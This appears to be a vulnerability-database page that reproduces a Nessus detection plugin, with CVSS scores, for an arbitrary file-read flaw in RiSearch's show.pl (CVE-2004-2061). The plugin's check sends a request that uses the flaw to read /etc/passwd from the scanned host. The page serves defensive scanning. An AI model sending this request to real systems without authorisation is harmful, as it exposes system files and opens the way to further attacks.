7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.159 Low
EPSS
Percentile
96.0%
The remote host appears to be running RiSearch, a local search engine.
This version contains an information disclosure vulnerability. Passing a local file URI to ‘show.pl’ reveals that file’s contents.
A remote attacker could use this information to read arbitrary files from the system, which could be used to mount further attacks.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(14222);
script_version("1.23");
script_cve_id("CVE-2004-2061");
script_bugtraq_id(10812);
script_xref(name:"Secunia", value:"12173");
script_name(english:"RiSearch show.pl Arbitrary File Access");
script_set_attribute(
attribute:"synopsis",
value:
"A web application running on the remote host has an arbitrary file
read vulnerability."
);
script_set_attribute(
attribute:"description",
value:
"The remote host appears to be running RiSearch, a local search
engine.
This version contains an information disclosure vulnerability.
Passing a local file URI to 'show.pl' reveals that file's contents.
A remote attacker could use this information to read arbitrary files
from the system, which could be used to mount further attacks."
);
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2004/Jul/308"
);
script_set_attribute(
attribute:"solution",
value:"Upgrade to the latest version of this application."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2004/08/04");
script_set_attribute(attribute:"vuln_publication_date", value: "2004/07/27");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
summary["english"] = "Determines the presence of RiSearch show.pl";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2004-2021 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencies("http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80, embedded:TRUE);
if ( ! port ) exit(0);
foreach dir ( cgi_dirs() )
{
req = http_get(port:port, item:dir + "/search/show.pl?url=file:/etc/passwd");
res = http_keepalive_send_recv(port:port, data:req);
if ( res == NULL )
exit(0);
if ( "root:" >< res &&
"adm:" >< res )
{
security_warning(port);
exit(0);
}
}
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.159 Low
EPSS
Percentile
96.0%